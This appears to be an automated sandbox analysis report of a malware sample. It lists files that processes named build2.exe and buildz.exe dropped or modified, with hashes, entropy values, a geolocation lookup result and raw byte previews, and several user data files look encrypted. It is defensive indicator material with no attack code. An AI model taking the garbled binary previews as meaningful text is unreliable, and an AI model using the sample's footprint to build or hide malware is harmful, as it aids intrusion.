SHA-512:	55424F8A4278E65145E9637D4A44C487BE481EFE4E4EAE1CEF1FCB7F5849E52FAB62436E7DD05853F59114AE5E2FC81A7AEBE26E208692CCE83386A5925CA9E3
Malicious:	false
Reputation:	unknown
Preview:	MZ....P5T.f..........[...`r....k...I..QQ\.n".=$yX....-l.....)?.w.<.)...C....%Z.%.!..B.g.F....h.)...y.9q...=H]c.C..U.j.P....2.5......MF%,./.v.#@..(N3vu...v.o..)L...^L........f.....?7.....f........U.%...5..w..<.....tB.M..^.di..I.........C.......g....:.!z.Z....@W..n..O....A.....H..{.S.0Pa.-G....{.........+..m4..%.!<...[.u.s......_....;.~qaB\.e.[jx.l.z9.q....!...........(.Cgc.Sb'........T.2......@.......`2.....3...96.Pq.'...UJ.._.....G0.3.....6...'.. hPT..'.U.$..Y=..mu.U,)..H.h...h.........Y3g.\|...}^.....Ob.J...]~...._..7+.d;w..U.6.,\|...U..M.fM..[......E......R..z_......S...X..b?./..............5..o.[.^...[...Lrn.9.E.h2a..1...K.?..b?QO8}..H_..q..h.~.:L....:$...m...a&..M..I!...}Oj.....^E....V..n#^c..(s.G...m.7.E.C...3+..(.d:.IDeD.Y.og@K.F...i.@[.....!-?...{..3......[r..DW\0.L!.<.kN..C.$B...:$.....V...)....:.P.....%.E...rBfi.4.....9...l..../..4z...9.mD.3.@X.....<...'...e..h.t.B..E/y..va....w..6g4R#ZczC......3.].5..o......1.{..{.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\sqlite3[1].dll

Download File

Process:	C:\Users\user\AppData\Local\0e02b0bb-f517-46fa-b1ee-2b79cc8d533e\build2.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1106998
Entropy (8bit):	6.500333177860392
Encrypted:	false
SSDEEP:	12288:dxylSMUMifofI9ayCvcZMBiMjCodEMdo8R66tCWko5+jsbFcoYuprzpGSgGSrz:d4AMB3caSZMijBI1CWkoj5auF5gGSrz
MD5:	1F44D4D3087C2B202CF9C90EE9D04B0F
SHA1:	106A3EBC9E39AB6DDB3FF987EFB6527C956F192D
SHA-256:	4841020C8BD06B08FDE6E44CBE2E2AB33439E1C8368E936EC5B00DC0584F7260
SHA-512:	B614C72A3C1CE681EBFFA628E29AA50275CC80CA9267380960C5198EA4D0A3F2DF6CFB7275491D220BAD72F14FC94E6656501E9A061D102FB11E00CFDA2BEB45
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......c...........!.....&...................@.....a.........................0.......:........ .....................................0.......................@...<........................... .......................................................text....%.......&..................`.P`.data...\|'...@...(...,..............@.`..rdata..pD...p...F...T..............@.`@.bss....(.............................`..edata..........,..................@.0@.idata..............................@.0..CRT....,...........................@.0..tls.... .... ......................@.0..rsrc........0......................@.0..reloc...<...@...>..................@.0B/4......8...........................@.@B/19.....R............"..............@..B/31.....]'...`...(..................@..B/45......-..........................@..B/57.....\............B..............@.0B/70.....#............N..

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\geo[1].json

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	434
Entropy (8bit):	4.658064641080239
Encrypted:	false
SSDEEP:	12:YZXwpHEx6uoy50mQVFNCZ8y50mQVFNCIKnaDJqMmL32JSMZz:YIHD250mQVFNCx50mQVFNC76hmL32kMR
MD5:	37F2A706F946D2946E4E431D091AF1DE
SHA1:	6CC126A42EC07BB894FDC32CECDEB0F773EAEAC6
SHA-256:	A6080032C7588841EF68E02D374F22912B045D4C22BDCF6E6C9F7FBDDCBBDC3A
SHA-512:	C08B4613E37417207525D4110CDF75B7D70DC741D8C16FE3D5CACE86E460CB56F0EDCB899FFF8855B084124B6CF50EEB8673154BD71ECD709D04DD675D085F1A
Malicious:	false
Reputation:	unknown
Preview:	{"ip":"102.129.152.212","country_code":"US","country":"United states of america","country_rus":"\u0421\u0428\u0410","country_ua":"\u0421\u0428\u0410","region":"Florida","region_rus":"\u0424\u043b\u043e\u0440\u0438\u0434\u0430","region_ua":"\u0424\u043b\u043e\u0440\u0438\u0434\u0430","city":"Miami","city_rus":"\u041c\u0430\u0439\u0430\u043c\u0438","latitude":"25.77427","longitude":"-80.1936","zip_code":"33010","time_zone":"-05:00"}

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	modified
Size (bytes):	8003
Entropy (8bit):	4.838950934453595
Encrypted:	false
SSDEEP:	192:Dxoe5nVsm5emdZ2Ca6pZlbjvwRjdHPRhwgkjDt4iWN3yBGHB9smMdcU6CDpOeibY:NQopbjvwRjdvR5kjh4iUxeLib4J
MD5:	3D6DC70FDDC7BE176013904F5F6ED066
SHA1:	73638AF4A419E0A7DC397B9477A0C2EDB8DE9490
SHA-256:	5D7466A771B69DBDB540C50BC6EBE324B4FA3BDA6E0F4CC92CEC930148FCCFAA
SHA-512:	60552F022AE9418514820B7BF8243434FFE2BBEE7F34D8ED7D053679928C583CFB4C07FE62588629A6064C196184F6DB0D7FDBDB26692FC1CA9B1C99F248B117
Malicious:	false
Reputation:	unknown
Preview:	PSMODULECACHE.....$7o..z..Y...C:\Program Files (x86)\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\PowerShellGet.psd1........Uninstall-Module........inmo........fimo........Install-Module........New-ScriptFileInfo........Publish-Module........Install-Script........Update-Script........Find-Command........Update-ModuleManifest........Find-DscResource........Save-Module........Save-Script........upmo........Uninstall-Script........Get-InstalledScript........Update-Module........Register-PSRepository........Find-Script........Unregister-PSRepository........pumo........Test-ScriptFileInfo........Update-ScriptFileInfo........Set-PSRepository........Get-PSRepository........Get-InstalledModule........Find-Module........Find-RoleCapability........Publish-Script........$7o..z..T...C:\Program Files (x86)\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\PSModule.psm1*.......Install-Script........Save-Module........Publish-Module........Find-Module........Download-Package........Update-Module....

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	2224
Entropy (8bit):	5.354902188542171
Encrypted:	false
SSDEEP:	48:CWSU4xymI4RfoUeW+gZ9tK8NPdMs7u1iMugeC/ZaOUyu0lhV:CLHxvIIwLgZ2KlDOugg01
MD5:	6BF5249E7EED52BA8B9AD9804C79C0BF
SHA1:	E6DC63E4AD576367367B2656A2C0CBAB7185B0A2
SHA-256:	8AC1B3611A35F9365DD66AD4C89E1D54DBCD8587CF1DCCAAD9A697973DE378A9
SHA-512:	0704A28140E1F8005BE21D999DFC3E262CA3D3BDB1EDB171B0D830E8B4DE4262D67B74BCBF90E066340EA70C10A4CBB52F8648675F26B8D78AC13DEE7DF0139A
Malicious:	false
Reputation:	unknown
Preview:	@...e...........................................................P................1]...E.....m.....(.Microsoft.PowerShell.Commands.ManagementH...............o..b~.D.poM......... .Microsoft.PowerShell.ConsoleHost0......................C.l]..7.s........System..4....................D...{..\|f........System.Core.D...............4..7..D.#V.............System.Management.Automation<...............i..VdqF...\|...........System.Configuration4.................%...K... ...........System.Xml..L.................gQ?O.....x5.......#.Microsoft.Management.Infrastructure.<................t.,.lG....M...........System.Management...@................z.U..G...5.f.1........System.DirectoryServices8..................1...L..U;V.<}........System.Numerics.4.....................@.[8]'.\........System.Data.H................WY..2.M.&..g(g........Microsoft.PowerShell.Security...<...............V.}...@...i...........System.Transactions.P...............8..{...@.e..."4.......%.Microsoft.PowerShell.Com

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	1272
Entropy (8bit):	5.397224103640916
Encrypted:	false
SSDEEP:	24:3BWSKco4KmBs4RPT6BmFoUebIlmjKcmZ9tXt/NK3R88Hr2Vbu:RWSU4y4RQmFoUeUmfmZ9tlNWR8OqVbu
MD5:	D56819F49E3C5A87D21D8045FE834DF9
SHA1:	7ADFC853E04B1210FF17C7EBA3529FF826ECB0DB
SHA-256:	976C86742A581F79343D7932C7EFFC9DBEACE3689A9AD38B18BE3D2F81FBED04
SHA-512:	68B6F0D1C02CFA697F6DB9BD444DB490AE9B36DFBD0B54D0A3018FE6015EE63883D9C37DE7578CD4C1A91C5B03F49C5ED764146E8CAAF0A6D8A92360F163D42C
Malicious:	false
Reputation:	unknown
Preview:	@...e................................................@..........P................1]...E...........(.Microsoft.PowerShell.Commands.ManagementH...............o..b~.D.poM......... .Microsoft.PowerShell.ConsoleHost0......................C.l]..7.s........System..4....................D...{..\|f........System.Core.D...............4..7..D.#V.............System.Management.AutomationL.................gQ?O.....x5.......#.Microsoft.Management.Infrastructure.<................t.,.lG....M...........System.Management...@................z.U..G...5.f.1........System.DirectoryServices4.................%...K... ...........System.Xml..8..................1...L..U;V.<}........System.Numerics.4.....................@.[8]'.\........System.Data.<...............i..VdqF...\|...........System.ConfigurationH................WY..2.M.&..g(g........Microsoft.PowerShell.Security...<...............V.}...@...i...........System.Transactions.D....................+.H..!...e........System.Configuration.Ins

C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\fqs92o4p.default-release\activity-stream.discovery_stream.json

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1583
Entropy (8bit):	7.876253857141641
Encrypted:	false
SSDEEP:	24:Yxrsifi0t1ADg8M+D6TaUdE4XXSB++AU/VsbwG/eGFqvpDsbD:Y619DZM+2WwE4nSRxcdeppSD
MD5:	07F43CCFE9191790782C631158498F66
SHA1:	ACC61CD3393E2D23E1490CFD0CFD63A725DAEA2C
SHA-256:	9F11B8A643E4A547BB5E9B8BD31EFC82B03F41043A98C17E1C7440677C6DFF00
SHA-512:	18380E8C7A66C7F845D6B7DF0D8B2348AEFBAB95D3E51AF8111DCFCA660CD8B1A3A0D94D0D7DF82315F568AD7E7A0C3FDFC326883B2D9AB8ED28BCCD037CD7C2
Malicious:	false
Reputation:	unknown
Preview:	{"spo.{}.. j.p........../m"..Z}&i.,....%)v..3.'..'..7Z.s..F..Z...A....u.g....a..d..$?wkh....l@(....P#....F.v...p.._.......H.$G..T].n{M=g\TV.46.+...xA..h+.f#G.6...)KP.H.j^.(.......,:)d.Nz..?].S..d..x../?.i..x>PK...L.d..2.#J.o..n..,.!.A.4....{...v.n.........#....v.;....J.].:;`~....{.R.:x'W......k\.$...6...p..;.gi.K']..........%.p..;C.'..27y.4H../.(.?.9.cf.\..r<...A.c..4D.6...;fL_...lD..i.Is?.~.W..WK.....0.......>.\|.t.h....1..2...2..`..1.. b..{.T.4f..q3.5...3...`y.Mz..3i.2...[......H....A.Z...{)..0............4\......Rh7r.0......3-?...1.i.^...0..X.VsD..........l.LT.b.m......y..8.....V...2C......L.Zoy.}y.D....UH....#w2?....a.tz.7..C.......~....%.z..J..R.Zh...QZA.Kk[...I'j.;v....jP:...T.4.a.qy..e..7..%..).....i.'.i .........%".E.[........x.[.G....,.\.$..nid..W.4...F..+T`...TzI.W..pcE.^....DJ.1.NlR...\|.........Bx.qX.A.B....s6...%..M.t#F.......X.Z._c...W/..w)e.0....<.N...`.24...?.}e .Urp.O.7Br<....5.#..'/...A7..."..............R..._...h.[.O.&....

C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\fqs92o4p.default-release\settings\main\ms-language-packs\browser\newtab\asrouter.ftl

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	modified
Size (bytes):	7915
Entropy (8bit):	7.97897358181852
Encrypted:	false
SSDEEP:	192:zSKXphTmezwTXPFaT51grWhjA4svnvySipXIdhB9AILp:2UTIFwGOUHvvSIdhB99V
MD5:	191663FBC856F644CEC660CC5160EBDE
SHA1:	28E528B943D21764662412E598C6957230CBB536
SHA-256:	9E9CDC6B3A6E39E1B9E1AC3FED85FC552CBEB457F368D9B45F53996FDAB83112
SHA-512:	63BA533FB1AD0CB7D7DD25A2A900615A9B34C2EA91E657D0BF5E3E4649B19B60B9350BDDCECA54C9434192A62B0CE6A09EC15E6888B6CC7BC1B4637308BAE0F9
Malicious:	false
Reputation:	unknown
Preview:	# Thi..4.....3..+l...E,.%....%ot..1<.Y..."R...Pu..B<..%<.........D..W=.d..i....Y...ey....$;7mX-J.P-4's.-..zG...lT...&.!.U^.....D....._.0Wt.v...{..~.y...g{SEd..1...6..n:........\..y/.{9t..8+.:M.....1......2="w...5.J.........A..]......yDt9 7.]....x...K.....r".Rnb..iRoL?.P..a.tU...>Ah7....l...8.`.;...$...?P..-.UP..J.a...O......C.ce.?]t(u.....ii..o.[.6...'..I....\|.Z..G:!\/(..7j.?.F......B.5#.oKG.E..Rv.......'..2..[1\...A..7..i..r@.1.Vr.....Q.$&.\7.+P7..i..88l.....u"..\0.C."....:....x^....u7.[&..E\y.:>.....8.V."#....._...','...![....4..vT...b).k..........J(._XZ.j..mg..G..._.6x ..P[.9..-C.g....r.....j&.)O.....w.5..{;....U.#6.o.....'.i.....C.,....ky.A.-Q'.#.).Y.$E...Q.<x..B.....l.SG.k...A+..RrDu.Wf.....m5.......'..S.5....?%...4^....x..U...;...0..W...\......t...JC.W...v.6ff..f..}K2f...cF../~..!{...<.=l.'.uZ_.Z.@r}........{Y.Bq.I...~....Q.......i.M.`.........rv.4.soO...Ki..j.....6....[G.k9.tHx.....e..../..C).y,.;..u..m...

C:\Users\user\AppData\Local\Packages\Microsoft.GetHelp_8wekyb3d8bbwe\AC\GEH\POF.dat

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.980759142040372
Encrypted:	false
SSDEEP:	192:YnozgARGkgGRkSN23bubw3xEwDvxl48cFGpm1wTVNsFC3Ykrwzq:YnozgAAkTkM2ajwDvxWdoAw4FMYsw+
MD5:	46D779F7076611C8AAA8E475D6D1F417
SHA1:	55A8AC4ECDD0E0E250C661A250CDFE9D022F24D4
SHA-256:	CA32AADA4C999794CBD93DB2BEB72C9830AB71C978C01B2EC9F1DD1745138A2D
SHA-512:	89E43A12EE8F301AF201B266CF607D5CF75D6A76B2B0ECEEC7A2DA9808F1268291F3365E603E29CE6462AFDFD98AD2FE129CFDEE06067084C4979CBE218354D3
Malicious:	false
Reputation:	unknown
Preview:	regf.xO}../.VO.....&..TQ.Xo.5.....9...V.....?.p.^....?....X....-:.0....a....&f.MV....lz.>.y....u........c..''..x..6R....B.=Yv...n.N..l.\|.\.%.I......)..S._...y.1EUT.P....a....{...&.jt..k.G_}...5.d....%...OQ$-d0.uS.:57.H.K..%......m.3.....;..7c>s.j..C...=$...~.....Z4 ..V.,........obs....7.R.q..C.aoJ..0 .5Rm.0.s.&.oS.6..K...]...!.R.-.Y...G&.Ad.C.j...7Z.....C.+.(.....i.ZD.=.7..w..r.0.,.-...[..<O%R.cZ.g.V......`@-..Y.eD....T...iS...8......4....R.4=.^..r8...E..P-4g.........:.}.....G..>...+.t.R.4.c..Dw..3.%/Pk.G ...-...........I..SX2k.(...l(5;$=.%)l..p..s....1.8..d.h....\c...<..C.v.43^D.U.%..B....D.....4J....}........H.L.Y.....(.P%7.Q(b.6...n.fN...n.+..q.`.f]...$..t-}G....3....c"......9.`B.....U....!....t.....@.M....fv%......9.>..E..qD...2d...w>.;cj.C6x...U..(.}....t4e.%.nG.p.Hn..K2L...+[9E.> ..}.Z.'.U..c{.......}...T.b..(.!..R..W.?j@B.^Y.)....3........&..n.4.+....R......B7y..0...P.....G~g..e.$..l....g$..<..Xm.s0~v.R...{Bl~d.8.....Ds...bw..Sy.\.

C:\Users\user\AppData\Local\Packages\Microsoft.GetHelp_8wekyb3d8bbwe\AC\GEH\POF.dat.LOG1

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.978280341475879
Encrypted:	false
SSDEEP:	192:NAx9OHp6603tARKgi01NkNledNgpYTDAlWUfBgbzDlQlp:Neqp103iRliYkNleu4Dw7BgbPlAp
MD5:	4C0EA44AD3D8AF7524785F8E1DEA5181
SHA1:	36F2FA2AE7727A5F41F77FC484422077889B0279
SHA-256:	2ECB08A1B5395B4124A84773B227D29D84179A717A9BD38E1981043AD5972C55
SHA-512:	31C5A16DC474FF7E17890F6FFE90DB23C53AC9AC395973BAEC89FE145B3C798A32A053C3FA3EB9ABDE7BE5B0125D6019DFF5FD9EAF2A711B3C0DD3FAE53BFD94
Malicious:	false
Reputation:	unknown
Preview:	regf....3!>.`..%-:...^...9.....@..TO!.5{..pf0A...a...j.l....Y.."sO..y..;...u....sW..F..5.)...).I.K(.I/Z..=....l.t.e.(.+....`...y...v.Az7.W5....]D..}.4q.U.w...r'$..1.5yY.F.[.'>.S1.....{..f.U.5...$...}<.P?ZQYRV.)}....a...58Q...MA{....A{...o5U.)....h...v~...p.70..[(a...j...c...N..."0r..vf/.\.8...-5.g..v...r.[k.....%>.&e.#.,...i.7.c..5..........{.?.t.3.[R...........(.3\|.s3.FE.d?..L+..H"...ZP..^mA".Y......B`...WB@.[t\a..?....u... ...+LD...q..`..^n...\{.hS.....C.....{.@....1.%.?...-..@.....H.DZ.y..d.P.{...r&3.,.Lk.s.S....g.G.....:....K..B.....[.[.: .U..q..v.......W .[..}..E..P...#.._..J7..A.i.M..n.-.+X}.. W.....^.D.X..n"{.a.\|.!..?.c.._...I.........Ow6.......&......1.....e...I...c..^.!C.~i.....+>o.,...ovn....[....3-.(9....6.e\.PD(....9.........*./...\...uT..kQ..H.....vS..)c..7.....}g#.y.f.cH.<....qF&.6.E.'..^T.S..q.2.m.k...%..V>.!.....`-.-....j..\.@V.t...9..N..m.J........H4...=.r.9.P...&tw[.A..+..s...zG.q2..Y...).....H.X.......$.g.jiO..oK..#.

C:\Users\user\AppData\Local\Packages\Microsoft.GetHelp_8wekyb3d8bbwe\AC\GEH\POF.dat.LOG2

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.978200087106012
Encrypted:	false
SSDEEP:	192:FCo+2lrFqEnRpR6DiHYAkgbdjVN63QUBXybs/l:FCo+2REIL5YbgbdjG3lBCsN
MD5:	FB5E488EF3586699585DFECFB43CF98C
SHA1:	4AFFD370B988EC0876C0362040ABF2C802DDED15
SHA-256:	9A6DA563C1015730ADD98B70FBBC79B24DC0A770300190913421EAA069BF720C
SHA-512:	73E8E79336C74560ED9188D39AD21CEBBEF293AD9A6728AA21872824A5A6CF1353DB9C5CD69FA72A1C81BC80FFA8AA42C4AF41569EB95143D0E82A1368BEEE47
Malicious:	false
Reputation:	unknown
Preview:	regf._\....KH.'.C....R#.E. ..F.....{..m.o"..-B?.z.....\.Z..&..R^.%...yQ`..B.~.?Kw.m? Q.O........."n..4vs.%@0u......(..O...A^.N...NB.._(b.......\|.......y.1+....E/..vSbg.+...&lU...D:...e}.<a.,.B.-l..ob....l._@7..Tp.../..f.......M+.%ow.X..P....?g.1.9 ..h....P.....3...%~..6.3.I......W./...L.Q..U....1"....{.9.a..O(d.....~...sr~.D.n...A.G...\|x.).d\|.T.o.+L.\|#..1>l...j........[..)K...ksB......<...o...lq>_ k[;!i.%..Ue.'....k...KC,.H..$..f...n".....{.=L....0..k5R...e%...........c...x.jCk.s................./CZSO..P.iN\|....>.w.x..........!U.5c..)......X.0..J(C...0./.u.Z.]Ne........D._h....?.....+:.x.L..VT.#.7....r....(..S.....4.....cm....!...B.....{ 3<....P...s..31.;....r~F..,=..t.\|.{<.C...C...c....\|..O.M.....S .'.q......@XU...y...K..6..OM.z...+W3x.....}..,K{."u.#V.{.4w&iu....0.D.....+..`....I.TX..VR.y..:+3.....].0R..K.$2N.....Y....#.$.\A.......E..,l......!"..w..m.._KA,..!..,.]...M..Q{i....iB....6..{3..H...."..G..wO^;,..Z.R.%V.hm~.V$x....:

C:\Users\user\AppData\Local\Packages\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\AppData\CacheStorage\CacheStorage.edb

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1573198
Entropy (8bit):	1.3857350657087877
Encrypted:	false
SSDEEP:	3072:M3c9n6TQ3uC7rYw7A2fk+IFuYPOV3Ykiyc5NcGsad+0gMLW5fiayZRuQayZRuZn:fU03nd7Am7uQcy+NcGsI+YLFBq
MD5:	561F1913A827097BE4073D11390B5367
SHA1:	CDF5D5EAC5267818B0818575E0FFF177DD3CB888
SHA-256:	3BAA0020AA80EDA3D596375E5B4FE4DDA93A17AC8AB92ACCAADE15CAD7108284
SHA-512:	18DD94426FD1CDF48A35A51200B867C515E2ECED412A858D0A362DDB9158CC3BE19D27CDAE43DDAD79692A59D05C94C8CCE6FED20D83B3FCADE55C513F801E49
Malicious:	false
Reputation:	unknown
Preview:	o....=+...N...\|....%......6..R.l....D...H...{"~0\M.Q...d.....H.Y..7...=..P.....bh.8d..D...3e..ki&l.....G.4.E-.......3.......,t.V....Zg.....Z.i(..F2.X.!]....y3WTF...=..M...9....?k..N.......)H..#...2("........Z=.......lq+..'k.P....J.{..k..o..bI...9...nG.w....A...B....m.Eb.>BP....x.K!.....c.z.q.9F.....$E.........._...uTSj(..de.+....9..,.c."X..G..)/....!....Z.}..B...3.B....b...\?..#.z.....=..1.w....\|n...8.}.....+=.y...........3...P'.c.N.d3.P...;[U/@y..%`&\|.......q.&$..;h...=..GD>..../............d.bJ....f.s.!k...Tk.....,..Q_H....\.Jt.......h...'.. .FN.....3yj..,.8.R..rJ@8..3.0..'%>.....l....'....$....B..4]..{..R...%A.\|.ej?@....~...96.Y..uW..!.\|.im.{..}.Y.....0M..4.^..2$.1+?m.3.\..f.C.....sT..@.D..M.C^.....R....W._) ......3..L ..,.d......k.#.eJJ.!{@.:.&.sX.o.$.../.A.FE&.e..)z..Pg.T.Be.l.....`......\..)=..y.......z......M.....hm...\v...@{.n7z..d..0`...R...[.:.....3........K.Mv.p...9..\R5...k..&V\|..e Y...2..j*6.L...r9{....mZ.fO....k.CJd..}..

C:\Users\user\AppData\Local\Packages\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\AppData\CacheStorage\CacheStorage.jfm

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	16718
Entropy (8bit):	7.989410185006691
Encrypted:	false
SSDEEP:	384:VwJ4SEaWyGx4VnTNfOBhMdl1SF1fmoKJpN2KCuflMfO/HKvlsQJ+H0P:sREpyPTNfOYdzeUNMuf+2/Ws0+H0P
MD5:	E2A24A8903F9C539CC36B8336351C684
SHA1:	B6598C13E31D57963F255DA704A5CF5456BBFA49
SHA-256:	F0BCC426E7354A922CD85EF06BDB81FB8658453B31706964090F82D3AE82B113
SHA-512:	8F649CB14DC087140A421E36945838C474C6ED09EDA181383B4C6B3CE46126993E9272E39156F973DBD59DCD61F6AB6DDD0EE957012C6CE730FCF6D448711AC0
Malicious:	false
Reputation:	unknown
Preview:	.....:....^.....4..g.xe....>..=..[.H..W..Y.M.. ..I-K.A......%.I..Z.C.g.3.c.O.Q.w..0.{kS......I..../+..\p....B.1.........I/.[t.,Ys.9xFI.).y._.K.`..SD."..5%.6..7F.f`..../+...b.C4....E..s9....Z]4....@q.s......w..Y."Q.;...+....m...a.FQ...8....@......Kl?;I.g>.....#Y..A?.v...:..w'F......;?..n..;bq4J.....m.b.0.'1..F...#..zB.....k".C....d..G..U...2U.R..6l.U0..J...........$F...R..e..l....u.Q.r...{..../.Q.c~G[.-..G.[.&..{...z...!9..Q..d... ......e..m.....l.......L?.@.UmAe.I.$..q.C.."....C.~..."\|.....o..M.d.SE.....s.q..z.M.(D..p.j.d.R....o.... C..f..);._...E<..z._Tf..pJK.... .\|...9.a,..5..g.....H..@..w.I...QK....T......7..5h"....@_._...V.q5.../.......>..w.J.05.\.R<.\...1....!...}.]U._<.....a..[Y.h.KK..:i..)..../..w.....I..R5w...m......yx....f.O..4cJw..........`.......=yK..Ts......9.9D.=.\T..T.....<7...5..o...,...c.....CK.OD..yH..J...Y..75.......g...Gv.57....x.d.F^._X^..........t..m.)....j!....F..L.{....F.A..En..x...{".........>..\|.41.C..#2

C:\Users\user\AppData\Local\Packages\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\SystemAppData\Helium\User.dat

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.97902203974484
Encrypted:	false
SSDEEP:	192:k3h1/2StjP06gWM4fnfqm362/t5YVFZtHoyXnaSNl:k3h1/2Se6qOfqmrYXfXnail
MD5:	D5AC209D95F00A202E0DED40FB3614D4
SHA1:	9D0B68E540B43327D8ED1610DDA7651D7B318629
SHA-256:	75CBD816CA3E04CE9104546FB26ED53C8138519B2002600C7CA44E7218F956B0
SHA-512:	B02CE1B0D61680E7BDEB3DD58CCD0A81A3A74577C75CFAC3FBFDF7769A93EA914A0CA919DBB1A3BCDF1DC3A87061799B543586261907C51260AE60E1DA0C33C0
Malicious:	false
Reputation:	unknown
Preview:	regf.....AB.G#2k....1\.H....~..Z9>G.H.f:Y....k7.....0.........._2...... gf.`[{+.........y..kK.$.h...T`j.JG`I..W.+.'.2.OsAf. ]iwlr.......+.3.jc.'..........k.....jG..'.d.T...dtN3........X.[1_@........l......R....}...{.&.,....]zDjB..z.+...b.u.......-.u...[.....F9.....G.e...-+........#...L.e}..L..c:h.F...h....e...T...P.gh..[...........c.[.\..E......q!t{........WlV`.Z.7`............../.#v...S&c..\|fcwB.\|..E.....e'.g.<9.4.....qPX....T.....F..j..x..\\_.+....s..G........?.......YT.s.....@.Ec1w...!y.>.d..........-.e..p......j\kw...>,..D......_U.Z..G.]...Q...}.a5..R.x.#^..=...H.q..c.8...']2.m3&}......../..^.d....V.H.a.x..M.B....Vu..'T....A..I...?....%..}.....rUE..]Tz...s.i.g...`u.w....MH.f.xo.........Mq..O.A..;P...n.Hi5.a.Z.4.....7L.m...c.KN...X.L....:g..3.G]R.Z...7E.b.....&...K.(j=..r.F.... ..E....Re....2.W...n.xvw.....*./..I.Dn..P..A.u..U......^w......%].\....g../`{)!....o.........8...f:%c..J.r M..N..E~8...7d...........P...3..

C:\Users\user\AppData\Local\Packages\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\SystemAppData\Helium\User.dat.LOG1

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.979930780744566
Encrypted:	false
SSDEEP:	192:AHOz3g6rJ59qCXQIhBq04xGGUZBfw588y3NvqOdH8h:sODg6rJ59bAoJRL43y3Vl9U
MD5:	3DAF93AAD5251A5C3D41058EF4A66E26
SHA1:	5AA5BA609966DFEE71D9598FC397C677C4871C49
SHA-256:	949480DA4266715AFFC52FD2E27403C48C85842EC00C9CE92EDE3548529F152A
SHA-512:	6AF6E7855B3848F22D4FB88FE603A4101F0334D372281C2E4963DC0FBFB3DE23783D8C4DB29848ED9CCF6EC4E64FC51704B112F45542ECED06DE190F9C22326E
Malicious:	false
Reputation:	unknown
Preview:	regf.x.+.$...p0U.G......]-....}v....S.6....;\|DTE3...zI.@\|j.7..:].#.\X.;......o7{.......%..........'Z..7....p1.[...J6h.R/7..x>.E...JLj..,....v..at.I...?.L.....WG.......`...+...._..I ...zqCZa.6.{...Q..U...._.D.4..@!.}xi..f.......@..-l.Fgxk.s...Q.../o.B.../..n.J....\|v6A.t..g.f!..&.?..PA.,Jenl.r.(.A.KA..!48j..A.c.q.d.%w'..z. ...pkr.KH#..?Qo.3.s8?.\.]. ...b.-..1.@.....l.0-...P0R..W..sj.....EFC..P..%.;...x..D...........[....M....W....z..60.l#\V.q.p../.....9..#..&............k.Y.Q,>obF........a..[.^gY...F..Q.1..M-+......5.v...1.${.:....q !..h...\%..\>.+.D..q..iW'.+.>...(Z..../B.._.C...B......:t..s{.....$..v{....\|..D{...K.h...bs......HIm...V..&....K..k'..-.j26..O....]#@:.:)s@g.Ls.......\.F.p.O..M.\|...u.5.[M.o....XY.><....../....ur........?3.*MLY....L..BJ......2......>...,.....,.A.L..L.......8....z...%..NYP.s..gd.oF............WR...h$.ny...l. l..w.S...S?(.[D...?...._...K.t'gU.........x......].9.lB.Py....].G....i#.F.s.)c.%.q..2.m...n...T

C:\Users\user\AppData\Local\Packages\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\SystemAppData\Helium\User.dat.LOG2

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.977707471141964
Encrypted:	false
SSDEEP:	192:b2+du3LIaExLpWe2/bQV+v2m/W1t9LWUDf9DONtbzsRJq0d21pOx5:ycEIBuJbDUD9SNZwR2u5
MD5:	BFCC03DABDE61678F314851EEE4F4014
SHA1:	9C1E4A5CC98F3E9053619367B29F82F1FFFD7CB2
SHA-256:	E522CB2ABF627E7FBE230CAEBF518DFCA445D25FB8172BF7C5ABABC50FAE0E5C
